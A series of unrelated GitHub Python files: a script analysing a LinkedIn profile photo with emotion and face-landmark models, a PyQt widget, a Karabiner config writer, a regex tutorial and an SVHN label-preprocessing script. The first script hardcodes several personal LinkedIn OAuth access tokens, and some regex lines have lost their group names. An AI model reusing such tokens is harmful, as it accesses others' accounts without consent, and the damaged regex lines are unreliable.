requests.get('https://api.linkedin.com/v2/me?oauth2_access_token=AQWXUgHMAwl_htHJ_NareR8thl_Z-_1cAOMg65dS9dkpikMnVxgZjiipk8Uuv2w3f0O_5awiGzA_xiq64nSQBwcmPygphqtC4-rTpVJmmnyMKTTTW1micVfnVQ4A6uT0gGrNlbR4DLYDmEgQIbMOVbjjm9tsYjBEMFj3snVTIll6FuAs-s0IW-CITfhsm2-_1VYo0hiBTz2FyZphPcAR2H7kDqeHifvrrfZ-BSpwvZXHCRUMDjx-59v9wEleM7VkOQorBpwpFoUs3WLbEeatKQbQ8kjA80W2vX1nnKzo1uy6Hi6-COoI47v0IbOCCKHT2Iu-bl6BltI0M5N-64EPcjEuj4ndQg&projection=(id,firstName,lastName,profilePicture(displayImage~:playableStreams))')\r\n\r\n#hitesh's access token\r\n#getdata1 = requests.get('https://api.linkedin.com/v2/me?oauth2_access_token=AQVSwk-08Q6ytHmLp7vRehjPTD1ZQCsiS28TjcMyd3OqDLuIMwCwnSmivbTW83fWVuXPdjHtM8JRDUoxCVY6o5bd2pXZ-axnDODiZmn3-BmtZyBsvDFKrH55PODDfaXOKlu4k-R9pQgIAxZFevWWxIJLq_POsVNf-qQjGu-MKZKb2LQvyRWPot5M8qJLt_oVVp2O-zSDfbJSulfllVzBfzxyTT9r7LfJkm_JonrL_vrDTINY4ITXl5zaLKcf3ZMwcfvzYtwut8Bax-FDtWbszslTG6btCMFWYtq2E9YM3DXaFkySrG-FYZ3RMpEyRNNOTJhm1n1RvtfjSUA0qPVuVakn-Mu4FQ&projection=(id,firstName,lastName,profilePicture(displayImage~:playableStreams))')\r\n\r\n#abhi's access token\r\ngetdata1 = requests.get('https://api.linkedin.com/v2/me?oauth2_access_token=AQVx0oAasQW4cLdrEtrHoDwDNUFgtoqkIeSlktEhJZIsEXPVNVY6gubIm5b-jZ0aARBubCPmvNyS7y4BZ-j4fyfLGtSbyQwJPhLA5v9DZFOAEQi3ngCCxHn_1zClK_6aL5II6jcZ6B1m4527St2UF3bfVNK6T9n8i1h0bkroWhQokpprsY1pqJLDhesoclSl1DHCx9uvEX_eb1jzzm_ECHxNz7lYksO49Dw_JN3cERcAxOiHmKaA_d4dM1S3Z9kON7QXwMA0PKwhSsMr2N_V7mXzfpKUVD7umdIGmPKE4WrztNZQZtBJvUVDQcdOqnFeUphKizgDxvU5RtlmNFiYMNTmZ6vUfw&projection=(id,firstName,lastName,profilePicture(displayImage~:playableStreams))')\r\n\r\ngetdata1 = getdata1.json()\r\n#print(getdata1)\r\n\r\nx = getdata1['firstName']\r\nx = x['localized']\r\nx = x['en_US']\r\ny = getdata1['lastName']\r\ny = y['localized']\r\ny = y['en_US']\r\nname = x + y\r\na=getdata1[\"profilePicture\"]\r\nb=a['displayImage~']\r\nc=b['elements']\r\nd=c[3]\r\n#print(d)\r\ne=d['identifiers']\r\nf=e[0]\r\nlinkedinphoto=f['identifier']\r\ni = d['data']\r\ni=i[\"com.linkedin.digitalmedia.mediaartifact.StillImage\"]\r\nj=i['displaySize']\r\nimagewidth=j['width']\r\nimageheight=j['height']\r\nremote_image_url_faces = linkedinphoto\r\nremote_image_features = [\"faces\"]\r\nimage = Image.open(BytesIO(requests.get(linkedinphoto).content))\r\nplt.imshow(image)\r\nplt.axis(\"off\")\r\n_ = plt.title(name, size=\"x-large\", y=-0.1)\r\nplt.show()\r\n\r\n\r\n# Define data generators\r\ntrain_dir = 'data/train'\r\nval_dir = 'data/test'\r\n\r\nnum_train = 28709\r\nnum_val = 7178\r\nbatch_size = 64\r\nnum_epoch = 50\r\n\r\ntrain_datagen = ImageDataGenerator(rescale=1./255)\r\nval_datagen = ImageDataGenerator(rescale=1./255)\r\n\r\ntrain_generator = train_datagen.flow_from_directory(\r\n train_dir,\r\n target_size=(48,48),\r\n batch_size=batch_size,\r\n color_mode=\"grayscale\",\r\n class_mode='categorical')\r\n\r\nvalidation_generator = val_datagen.flow_from_directory(\r\n val_dir,\r\n target_size=(48,48),\r\n batch_size=batch_size,\r\n color_mode=\"grayscale\",\r\n class_mode='categorical')\r\n\r\n# Create the model\r\nmodel = Sequential()\r\n\r\nmodel.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=(48,48,1)))\r\nmodel.add(Conv2D(64, kernel_size=(3, 3), activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\nmodel.add(Dropout(0.25))\r\n\r\nmodel.add(Conv2D(128, kernel_size=(3, 3), activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\nmodel.add(Conv2D(128, kernel_size=(3, 3), activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\nmodel.add(Dropout(0.25))\r\n\r\nmodel.add(Flatten())\r\nmodel.add(Dense(1024, activation='relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(7, activation='softmax'))\r\n\r\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\n\r\noriginal = image\r\nscale_percent = 95\r\nwidth = int(imagewidth * scale_percent / 100)\r\nheight = int(imageheight * scale_percent / 100)\r\ndim = (width, height)\r\n# resize image\r\nimage=np.array(image)\r\nresized = cv2.resize(image, dim, interpolation = cv2.INTER_AREA) \r\n## define one constants, for mouth aspect ratio to indicate open mouth\r\nMOUTH_AR_THRESH = 0.5\r\n\r\n## initialize dlib's face detector (HOG-based) and then create\r\n## the facial landmark predictor\r\ndetector = dlib.get_frontal_face_detector()\r\npredictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\r\n\r\n## grab the indexes of the facial landmarks for the mouth\r\n(mStart, mEnd) = (49, 68)\r\n\r\n\r\nif mode == \"train\":\r\n model.compile(loss='categorical_crossentropy',optimizer=Adam(lr=0.0001, decay=1e-6),metrics=['accuracy'])\r\n model_info = model.fit_generator(\r\n train_generator,\r\n steps_per_epoch=num_train // batch_size,\r\n epochs=num_epoch,\r\n validation_data=validation_generator,\r\n validation_steps=num_val // batch_size)\r\n model.save_weights('model.h5')\r\n\r\n# emotions will be displayed on your face from the webcam feed\r\nelif mode == \"display\":\r\n model.load_weights('model.h5')\r\n\r\n # prevents openCL usage and unnecessary logging messages\r\n cv2.ocl.setUseOpenCL(False)\r\n\r\n # dictionary which assigns each label an emotion (alphabetical order)\r\n emotion_dict = {0: \"Angry\", 1: \"Disgusted\", 2: \"Fearful\", 3: \"Happy\", 4: \"Neutral\", 5: \"Sad\", 6: \"Surprised\"}\r\n\r\n # start the webcam feed\r\n #cap = cv2.VideoCapture(0)\r\n #while True:\r\n # Find haar cascade to draw bounding box around face\r\n #ret, frame = cap.read()\r\n #if not ret:\r\n # break\r\n facecasc = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\n detect_faces_results_remote = computervision_client.analyze_image(linkedinphoto, remote_image_features)\r\n print(\"Faces in the remote image: \")\r\n \r\n\r\n tempImg = resized.copy()\r\n faces = facecasc.detectMultiScale(tempImg,scaleFactor=1.3, minNeighbors=5)\r\n if (len(detect_faces_results_remote.faces) == 0):\r\n print(\"No faces detected.\")\r\n else:\r\n for face in detect_faces_results_remote.faces:\r\n print(face)\r\n print(\"'{}' of age {} at location {}, {}, {}, {}\".format(face.gender, face.age, \\\r\n face.face_rectangle.left, face.face_rectangle.top, \\\r\n face.face_rectangle.left + face.face_rectangle.width, \\\r\n face.face_rectangle.top + face.face_rectangle.height))\r\n tempImg = resized.copy()\r\n faces = face_cascade.detectMultiScale(tempImg,scaleFactor=1.5,minNeighbors=5,minSize=(30, 30))\r\n maskShape = (resized.shape[0], resized.shape[1], 1)\r\n mask = np.full(maskShape, 0, dtype=np.uint8)\r\n for (x,y,w,h) in faces:\r\n x_center = int(round(x + (w/2)))\r\n y_center = int(round(y + (h/2)))\r\n tempImg = cv2.blur(tempImg,(50,50))\r\n cv2.circle(resized,(x_center,y_center),int(h/2),(255,0,0))\r\n cv2.circle(mask,(int((x+x+w)/2),int((y+y+h)/2)),int(w/2),(255,0,0),-1)\r\n mask_inv = cv2.bitwise_not(mask)\r\n background_img = cv2.bitwise_and(tempImg,tempImg,mask=mask_inv)\r\n foreground_img = cv2.bitwise_and(resized,resized,mask=mask)\r\n dst = cv2.add(foreground_img,background_img)\r\n gray = cv2.cvtColor(dst, cv2.COLOR_BGR2GRAY)\r\n cv2.rectangle(dst, (x, y-50), (x+w, y+h+10), (255, 0, 0), 2)\r\n roi_gray = gray[y:y + h, x:x + w]\r\n cropped_img = np.expand_dims(np.expand_dims(cv2.resize(roi_gray, (48, 48)), -1), 0)\r\n prediction = model.predict(cropped_img)\r\n maxindex = int(np.argmax(prediction))\r\n cv2.putText(dst, emotion_dict[maxindex], (x+20, y-60), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2, cv2.LINE_AA)\r\n #plt.imshow(dst)\r\n #plt.show()\r\n if ((w*h)<((resized.shape[0]*resized.shape[1])*0.5)):\r\n print(\"Face quality is too small\")\r\n else:\r\n print(\"Face quality is okay\")\r\n tempImg = dst.copy()\r\n gray = cv2.cvtColor(tempImg, cv2.COLOR_BGR2GRAY)\r\n ## detect faces in the grayscale frame\r\n rects = detector(gray, 0)\r\n for rect in rects:\r\n ## determine the facial landmarks for the face region, then\r\n ## convert the facial landmark (x, y)-coordinates to a NumPy\r\n ## array\r\n shape = predictor(gray, rect)\r\n shape = face_utils.shape_to_np(shape)\r\n\r\n ## extract the mouth coordinates, then use the\r\n ## coordinates to compute the mouth aspect ratio\r\n mouth = shape[mStart:mEnd]\r\n mar = mouth_aspect_ratio(mouth)\r\n\r\n ## compute the convex hull for the mouth, then\r\n ## visualize the mouth\r\n mouthHull = cv2.convexHull(mouth)\r\n\r\n cv2.drawContours(dst, [mouthHull], -1, (0, 255, 0), 1)\r\n \r\n ## Draw text if mouth is open\r\n if mar > MOUTH_AR_THRESH:\r\n cv2.putText(dst, \"Teeth is visible\", (30,60),cv2.FONT_HERSHEY_SIMPLEX, 0.7, (255,255,255),2)\r\n #plt.imshow(dst)\r\n #plt.show()\r\n else:\r\n print(\"Teeth is not visible\")\r\n plt.imshow(dst)\r\n plt.axis(\"off\")\r\n _ = plt.title(name, size=\"x-large\", y=-0.1)\r\n plt.show()\r\n\r\ntags_result_remote = computervision_client.tag_image(linkedinphoto)\r\nprint(\"Tags in the remote image\")\r\nif(len(tags_result_remote.tags)==0):\r\n print(\"No tags detected\")\r\nelse:\r\n for tag in tags_result_remote.tags:\r\n print(\"'{}' with confidence {:.2f}%\".format(tag.name, tag.confidence*100))\r\n\r\nprint(\"===== Describe an image - remote =====\")\r\n# Call API\r\ndescription_results = computervision_client.describe_image(linkedinphoto )\r\n\r\n# Get the captions (descriptions) from the response, with confidence level\r\nprint(\"Description of remote image: \")\r\nif (len(description_results.captions) == 0):\r\n print(\"No description detected.\")\r\nelse:\r\n for caption in description_results.captions:\r\n print(\"'{}' with confidence {:.2f}%\".format(caption.text, caption.confidence * 100))\r\n \r\n#codes taken from\r\n#https://github.com/mauckc/mouth-open\r\n#https://github.com/omar178/Emotion-recognition\r\n#https://github.com/atulapra/Emotion-detection","repo_name":"bikrampaul204/ImageAnalyticswithLinkedInProfilePhoto","sub_path":"computer_vision.py","file_name":"computer_vision.py","file_ext":"py","file_size_in_byte":17534,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"40072849689","text":"from ui.import_module import *\nfrom ui.sampleWidget import sample_widget_template\nfrom ui.sampleWidget import styleSheet, sample_color_variable\nfrom data import help\nimport ui, os\nfile = os.path.dirname(os.path.realpath(ui.__file__))\n\n\n\nclass alertMainWidget(QWidget):\n def __init__(self, parent):\n super().__init__()\n self.sample_widget = sample_widget_template.SAMPLE_WIDGET_TEMPLATE()\n self.styleSheet_class = styleSheet.STYLESHEET()\n self.color_class = sample_color_variable.COLOR_VARIABLE()\n self.help_class = help.Help()\n self.parent = parent\n self.getCookingSkillList = []\n\n\n self.color = self.color_class.setColorVal(r=36, g=36, b=36)\n self.backgroundColor = self.color_class.setColorVal(r=179, g=179, b=179)\n\n verticalLayout = QVBoxLayout(self)\n\n widget = self.initUI()\n verticalLayout.addWidget(widget)\n\n\n\n def initUI(self):\n '''\n\n\n :return:\n '''\n\n widget = self.sample_widget.widget_def()\n verticalLayout = self.sample_widget.vertical_layout(parent_self=widget, set_contents_margins=(0, 0, 0, 0),\n set_spacing=8)\n\n verticalLayout.addWidget(self.widget())\n verticalLayout.addWidget(self.widget())\n\n verticalLayout.addItem(QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding))\n\n\n return widget\n\n\n def widget(self):\n '''\n\n :return:\n '''\n widget_object = 'alertMainWidget'\n height= 200\n styleSheet_ = self.sample_widget.styleSheet_def(obj_name=widget_object, background_color=self.backgroundColor.get_value(),\n border_radius=20)\n widget = self.sample_widget.widget_def(set_object_name=widget_object, set_styleSheet=styleSheet_,\n min_size=(0, height), max_size=(self.sample_widget.max_size, height))\n verticalLayout = self.sample_widget.vertical_layout(parent_self=widget, set_contents_margins=(0, 0, 0, 0))\n\n\n button = self.sample_widget.pushButton(set_text='Alert')\n verticalLayout.addWidget(button)\n\n return widget","repo_name":"nikPipe/Grocery","sub_path":"ui/mainWidget/centerWidget/centerMainWidget/alertWidget/alertMainWidget.py","file_name":"alertMainWidget.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73001698290","text":"from datetime import datetime\nfrom json import dumps, loads\nfrom pathlib import Path\nfrom shutil import copyfile\nfrom karaml.karaml_config import KaramlConfig\n\n\ndef backup_karabiner_json(karabiner_path: Path) -> bool:\n \"\"\"\n Backs up karabiner.json to automatic_backups folder.\n Returns True if backup was successful, False otherwise.\n \"\"\"\n\n current_time = datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\")\n backup_dir = karabiner_path / \"automatic_backups\"\n backup_dir.mkdir(parents=True, exist_ok=True)\n backup_dir_size = get_backup_folder_size(backup_dir)\n report_backup_folder_size(backup_dir, backup_dir_size)\n\n karabiner_json = karabiner_path / \"karabiner.json\"\n backup_file = backup_dir / f\"karabiner.backup.{current_time}.json\"\n try:\n copyfile(karabiner_json, backup_file)\n print(\"Backed up karabiner.json to:\"\n f\"\\n~/{backup_file.relative_to(Path.home())}\\n\")\n\n return True\n except FileNotFoundError:\n print(f\"Could not find {karabiner_json}.\\n\"\n \"Please check your karabiner.json path.\\n\"\n \"By default, it is ~/.config/karabiner/karabiner.json\\n\"\n \"Aborting attempt to update karabiner.json\\n\")\n return False\n\n\ndef get_backup_folder_size(backup_dir: Path) -> int:\n \"\"\"\n Returns the size of the backup folder in bytes.\n \"\"\"\n size = 0\n for file in backup_dir.iterdir():\n if file.is_file():\n size += file.stat().st_size\n return size\n\n\ndef report_backup_folder_size(backup_dir: Path, size: int):\n \"\"\"\n Reports the size of the backup folder in MB. Warns the user if the\n size is over 100 MB.\n \"\"\"\n if size > 100000000:\n print(\"WARNING! Backup folder size is over 100 MB.\")\n rounded_size = round(size / 1000000, 2)\n print(f\"Backup folder size: {rounded_size} MB\\n\")\n\n\ndef basic_rules_dict(karaml_config) -> dict:\n return {\"title\": karaml_config.title,\n \"rules\": karaml_config.layers}\n\n\ndef match_profile_name(profiles: dict, profile_name: str) -> dict:\n \"\"\"\n Returns the profile with the specified name if it exists in the list of\n Karabiner-Elements profiles. Otherwise, returns an empty dict.\n \"\"\"\n for profile in profiles:\n if profile[\"name\"] != profile_name:\n continue\n return profile\n return {}\n\n\ndef new_profile_dict(karaml_config, profile_name: str) -> dict:\n with open(\"profile_template.json\", \"r\") as f:\n profile_template = f.read()\n\n profiles_dict = loads(profile_template)\n template = update_complex_mods(profiles_dict, karaml_config)\n template[\"name\"] = profile_name\n return template\n\n\ndef set_profile_name(karaml_config: KaramlConfig) -> tuple[str, bool]:\n profile_name = karaml_config.profile_name\n # To avoid accidental overwrite of previous profile, we use the current\n # time as as a unique identifier if no profile name is provided\n if not profile_name:\n current_time = datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\")\n profile_name = \"Karaml Profile \" + str(current_time)\n print(\"No profile name specified, using: \" + profile_name)\n print(\"Consider renaming the profile in Karabiner-Elements\")\n is_set = False\n else:\n is_set = True\n return profile_name, is_set\n\n\ndef update_complex_mods(profile_dict: dict, karaml_config) -> dict:\n karaml_dict = basic_rules_dict(karaml_config)\n complex_mods = profile_dict[\"complex_modifications\"]\n complex_mods.update(karaml_dict)\n if karaml_config.params:\n complex_mods.update(karaml_config.params)\n return profile_dict\n\n\ndef update_karabiner_json(karaml_config: KaramlConfig):\n \"\"\"\n Updates karabiner.json with the karaml config. If no profile name is\n specified, a new profile is created with the current time as a unique\n identifier. If a profile name is specified, the profile with that name\n is updated. If no profile with that name is found, a new profile is\n created with the specified name.\n \"\"\"\n\n print(\"\\nUpdating karabiner.json...\\n\")\n\n karabiner_path = Path(\"~/.config/karabiner\").expanduser()\n if not backup_karabiner_json(karabiner_path):\n return\n\n with open(karabiner_path / \"karabiner.json\", \"r\") as f:\n karabiner_config = f.read()\n karabiner_dict = loads(karabiner_config)\n profiles = karabiner_dict[\"profiles\"]\n profile_name, is_set = set_profile_name(karaml_config)\n found_profile = match_profile_name(profiles, profile_name)\n\n if is_set and found_profile:\n update_complex_mods(found_profile, karaml_config)\n update_detail = \"\"\n else:\n print(f\"Could not find profile with name: {profile_name}.\\n\"\n \"Creating new profile with determined name.\\n\")\n new_profile = new_profile_dict(karaml_config, profile_name)\n profiles.append(new_profile)\n update_detail = \"with new \"\n\n with open(karabiner_path / \"karabiner.json\", \"w\") as f:\n f.write(dumps(karabiner_dict, indent=4))\n print(\n f\"Updated karabiner.json {update_detail}profile: {profile_name}.\")\n\n\ndef write_complex_mods_json(karaml_config, to_file: str):\n \"\"\"\n Writes the karaml config to a complex modifications json file. This\n file can be imported into Karabiner-Elements using the GUI.\n \"\"\"\n if not to_file or not karaml_config:\n print(\"No destination file or karaml config provided. Aborting.\")\n return\n complex_mods_path_str = \"~/.config/karabiner/assets/complex_modifications\"\n complex_mods_path = Path(complex_mods_path_str).expanduser()\n\n print(\"\\nWriting complex modifications to:\\n\"\n f\"{complex_mods_path_str}/{to_file}\\n\")\n\n if Path(complex_mods_path / to_file).exists():\n overwrite = None\n while overwrite not in [\"Y\", \"N\"]:\n overwrite = input(\n f\"'{to_file}' already exists. Overwrite? [Y/N] \"\n )\n if overwrite == \"Y\":\n print(\"Overwriting.\")\n elif overwrite == \"N\":\n print(\"Aborting.\")\n return\n elif overwrite == \"q\" or overwrite == \"Q\":\n print(\"Quitting.\")\n exit()\n else:\n print(\"Please enter Y or N (uppercase) to continue\"\n \"or q to quit.\")\n\n rules_name = karaml_config.title if karaml_config.title else \"Karaml rules\"\n karaml_dict = basic_rules_dict(karaml_config)\n\n with open(complex_mods_path / to_file, \"w\") as f:\n f.write(dumps(karaml_dict, indent=4))\n print(f\"Wrote '{rules_name}' complex modifications to {to_file}.\")\n","repo_name":"al-ce/karaml","sub_path":"karaml/file_writer.py","file_name":"file_writer.py","file_ext":"py","file_size_in_byte":6635,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"20"} +{"seq_id":"25565633957","text":"#-*- coding=utf-8 -*-\nimport re\n\n\n\"\"\"\n向re.compile()传入一个字符串值,将返回一个Regex对象;\nRegex对象的search()方法来查找传入的字符串,如果匹配成功,则返回一个Match对象;\n匹配失败则返回None。Match对象有一个group方法能用来查找匹配的结果。\n当然,Regex对象有一个findall()方法,可以找到所有匹配的字符。\n\"\"\"\nregex = re.compile(\".\") # 匹配一个任意字符,不包含换行符。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回a\n\nregex = re.compile(\"^a\") # 匹配以a开头的字符\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回a\n\nregex = re.compile(\"g$\") # 匹配以a开头的字符\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回g\n\nregex = re.compile(\".*\") # 匹配一个任意字符0次或者多次。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回abcdefg\n\nregex = re.compile(\".+\") # 匹配一个任意字符1次或者多次。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回abcdefg\n\nregex = re.compile(\"^a(b)?.*\") # ?前的字符出现或不出现都匹配,如果多个字符就用括号括起来,不括起来就表示问好前所有的字符。\nresult = regex.search(\"acdefg\")\nprint(result.group()) # 返回acdefg\n\nregex = re.compile(\".*?\") # 以非贪婪的形式匹配,匹配尽可能少的数据。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回\"\",匹配尽可能少的数据,则为0次。\n\nregex = re.compile(\".+?\") # 以非贪婪的形式匹配,匹配尽可能少的数据。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回a,匹配尽可能少的数据,则为1次。\n\nregex = re.compile(\".{3}\") # 匹配前面的数据m次,{m}。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回abc,匹配3次,则为三个字母,abc。\n\nregex = re.compile(\".{3,5}\") # 匹配前面的数据m次到n此,{m,n}。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回abcde,匹配5此。\n\nregex = re.compile(\".{3,5}?\") # 匹配前面的数据m次到n此,{m,n},加上?号,则会以最少的匹配,匹配三次。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回abc,匹配3此。\n\nregex = re.compile(\".*\\..*\") # 通过转义字符匹配.。\nresult = regex.search(\"abc.defg\")\nprint(result.group()) # 返回abc.defg\n\nregex = re.compile(\"[abcdefg]*\") # 通过[]匹配[]中指定的字符,不加*则只匹配a。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回abcdefg\n\nregex = re.compile(\"abc|defg\") # 通过|匹配|两边中的一个。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回abc\n\nregex = re.compile(\"ab(.*)e(.+)\") # 添加括号进行分组。\nresult = regex.search(\"abcdefg\")\nprint(result.group(1)) # 返回abcdefg,其中group(0)中为cd, group(1)中为fg。\n\nregex = re.compile(\"(?P.+)efg\") # 分组,除了原有的编号外再指定一个额外的别名,这里为name。\nresult = regex.search(\"abcdefg\")\nprint(result.group('name')) # 返回abcd\n\nregex = re.compile(\"(?P.+)efg(?P=name)\") # 这里(?P=name)相当于引用了前面的分组。\nresult = regex.search(\"abcdefgabcde\")\nprint(result.group()) # 返回abcdefgabcd,这里name的值为abcd,所以后面接abcd便可以找到。\n\nregex = re.compile(\"abc(?#content)defg\") # (?#...)忽略掉...所表示的内容。\nresult = regex.search(\"abcdefga\")\nprint(result.group()) # 返回abcdefg\n\nregex = re.compile(\"abc(?=defg)\") # (?=...)先行断言,如果字符串后面的内容是=后面的内容,则匹配=前面的内容。\nresult = regex.search(\"abcdefga\")\nprint(result.group()) # 返回abc\n\nregex = re.compile(\"abc(?!defgh)\") # (?=...)负先行断言,如果字符串后面的内容不是=后面的内容,则匹配=前面的内容。\nresult = regex.search(\"abcdefga\")\nprint(result.group()) # 返回abc\n\nregex = re.compile(\"(?<=abc)defg\") # <=之后的字符串内容需要匹配表达式才能成功匹配。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回defg\n\nregex = re.compile(\"(?!abc)defg\") # <=之后的字符串内容不匹配表达式才能成功匹配。\nresult = regex.search(\"123defg\")\nprint(result.group()) # 返回defg\n\nregex = re.compile(\"(.)bc(?(1).*|\\d)\") # 如果具有给定id或名称的组存在,则尝试与yes-pattern匹配,如果不存在,则尝试与no-pattern匹配。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回abcdefg,因为第一组成功匹配到a\n\nregex = re.compile(\"(?P.*)bc(?(name).*|\\d)\") # 如果具有给定id或名称的组存在,则尝试与yes-pattern匹配,如果不存在,则尝试与no-pattern匹配。\nresult = regex.search(\"abcdefg\")\nprint(result.group()) # 返回abcdefg,因为别名name成功匹配到a\n\nregex = re.compile(\"(?i)abcdefg\") # (?i)忽略大小写。\nresult = regex.search(\"AbcdeFg\")\nprint(\"(?i)\", result.group()) # 返回AbcddeFg\n\nregex = re.compile(r'Agent \\w+')\nresult = regex.sub('CENSORD', 'Agent Alice gave the secret documents to Agent Bob.') # 使用sub方法替换匹配的字符串\nprint(result)\n\n\"\"\"\n可以使用多行注释的方法写复杂的正则表达式\n\"\"\"\nphone_regex = re.compile(r'''(\n\t\t(\\d{3}|\\(\\d{3}\\))? # area code\n\t\t(\\s|-|\\.)? # separator\n\t\t\\d{3} # first 3 digits\n\t\t(\\s|-|\\.) # separator\n\t\t\\d{4}\n\t\t(\\s*(ext|x|ext.)\\s*\\d{2, 5})? # extension\n\t)''', re.VERBOSE) # 第二个参数还可以是re.IGNOREECASE(忽略大小写), re.DOTALL(所有字符包括换行)","repo_name":"xiaoqibao-growing/Python","sub_path":"regular_expression/regular_expression.py","file_name":"regular_expression.py","file_ext":"py","file_size_in_byte":5556,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"22904156117","text":"'''\nreference: https://www.vitaarca.net/post/tech/access_svhn_data_in_python/\n'''\nimport h5py\nimport os\nfrom tqdm import tqdm\nfrom PIL import Image\n\nMatFilePath = r'HW2_Object_Detection/HW2_dataset/train_images/digitStruct.mat'\nPicturePath = r'HW2_Object_Detection/HW2_dataset/train_images'\n\nTrainImagePath = r'HW2_Object_Detection/HW2_dataset/images/train'\nTrainLabelPath = r'HW2_Object_Detection/HW2_dataset/labels/train'\n\nValidImagePath = r'HW2_Object_Detection/HW2_dataset/images/valid'\nValidLabelPath = r'HW2_Object_Detection/HW2_dataset/labels/valid'\n\n# Picture with too LARGE bbox size\nGarbageImagePath = r'HW2_Object_Detection/HW2_dataset/images/garbage'\n\n# -----------------------------------------------------------------------------\nbbox_prop = ['height', 'left', 'top', 'width', 'label']\n\ndef get_img_name(f, idx=0):\n img_name = ''.join(map(chr, f[names[idx][0]][()].flatten()))\n return(img_name)\n\ndef get_img_boxes(f, idx=0):\n \"\"\"\n get the 'height', 'left', 'top', 'width', 'label'\n of bounding boxes of an image\n :param f: h5py.File\n :param idx: index of the image\n :return: dictionary\n \"\"\"\n meta = {key: [] for key in bbox_prop}\n\n box = f[bboxs[idx][0]]\n for key in box.keys():\n if box[key].shape[0] == 1:\n meta[key].append(int(box[key][0][0]))\n else:\n for i in range(box[key].shape[0]):\n meta[key].append(int(f[box[key][i][0]][()].item()))\n\n return meta\n\ndef change_format(meta, size):\n \"\"\"\n translate format from {'height':[, ], 'left':[, ], 'top':[, ],\n 'width':[, ], 'label':[, ]}\n to [ [class, x_center, y_center, width, height]\n [class, x_center, y_center, width, height] ]\n :param meta: output of get_img_boxes()\n :param size: (width, height) of picture\n\n :return: list of [class, x_center, y_center, width, height]\n\n \"\"\"\n bbox_numbers = len(meta['label'])\n rows = []\n for i in range(bbox_numbers):\n class_ = meta['label'][i]\n x_center = (meta['left'][i] + meta['width'][i] / 2) / size[0]\n y_center = (meta['top'][i] + meta['height'][i] / 2) / size[1]\n width = meta['width'][i] / size[0]\n height = meta['height'][i] / size[1]\n\n if class_ == 10:\n class_ = 0\n if x_center + width / 2 > 1:\n print(f'[ERROR] box width too large')\n print(f'size: {size}')\n print(f'left: {meta[\"left\"][i]}, width: {meta[\"width\"][i]}')\n return False\n if y_center + height / 2 > 1:\n print(f'[ERROR] box height too large')\n print(f'size: {size}')\n print(f'top: {meta[\"top\"][i]}, height: {meta[\"height\"][i]}')\n return False\n\n rows.append([class_, x_center, y_center, width, height])\n\n return rows\n\n# -----------------------------------------------------------------------------\nf = h5py.File(MatFilePath, 'r')\nnames = f['digitStruct/name']\nbboxs = f['digitStruct/bbox']\n\nimage_size = names.shape[0]\ntrain_size = int(image_size * 0.8)\nvalid_size = image_size - train_size\n\nprint(f'Preprocessing {image_size} training images')\nprint(f'{train_size} images for training, {valid_size} images for validation')\n# -----------------------------------------------------------------------------\nPathToBuild = [\n 'HW2_Object_Detection/HW2_dataset/images',\n 'HW2_Object_Detection/HW2_dataset/images/train',\n 'HW2_Object_Detection/HW2_dataset/images/valid',\n 'HW2_Object_Detection/HW2_dataset/images/garbage',\n 'HW2_Object_Detection/HW2_dataset/labels',\n 'HW2_Object_Detection/HW2_dataset/labels/train',\n 'HW2_Object_Detection/HW2_dataset/labels/valid'\n]\nprint('\\nBuilding Path:')\nprint(PathToBuild, sep='\\n')\nfor path in PathToBuild:\n if not os.path.isdir(path):\n os.mkdir(path)\n# -----------------------------------------------------------------------------\n\nprint(f'\\n{train_size} training images')\nprint(f'Moving {train_size} pictures from {PicturePath}/ to {TrainImagePath}/')\nprint(f'Write label files to {TrainLabelPath}/')\n\nfor i in tqdm(range(0, train_size)):\n pic_name = get_img_name(f, i)\n picture = Image.open(f'{PicturePath}/{pic_name}')\n\n pic_meta = get_img_boxes(f, i)\n row_data = change_format(pic_meta, picture.size)\n if row_data is False:\n os.rename(f'{PicturePath}/{pic_name}',\n f'{GarbageImagePath}/{pic_name}')\n continue\n\n # 1. move picture 2. write lable.txt\n os.rename(f'{PicturePath}/{pic_name}', f'{TrainImagePath}/{pic_name}')\n with open(f'{TrainLabelPath}/{pic_name.split(\".\")[0]}.txt', 'w') \\\n as label_file:\n for row in row_data:\n # label_file.write(''.join(str(e) for e in row) + '\\n')\n print(*row, sep=' ', end='\\n', file=label_file)\n\nprint(f'\\n{valid_size} validation images')\nprint(f'Moving {valid_size} pictures from {PicturePath}/ to {ValidImagePath}/')\nprint(f'Write label files to {ValidLabelPath}/')\n\nfor i in tqdm(range(train_size, image_size)):\n pic_name = get_img_name(f, i)\n picture = 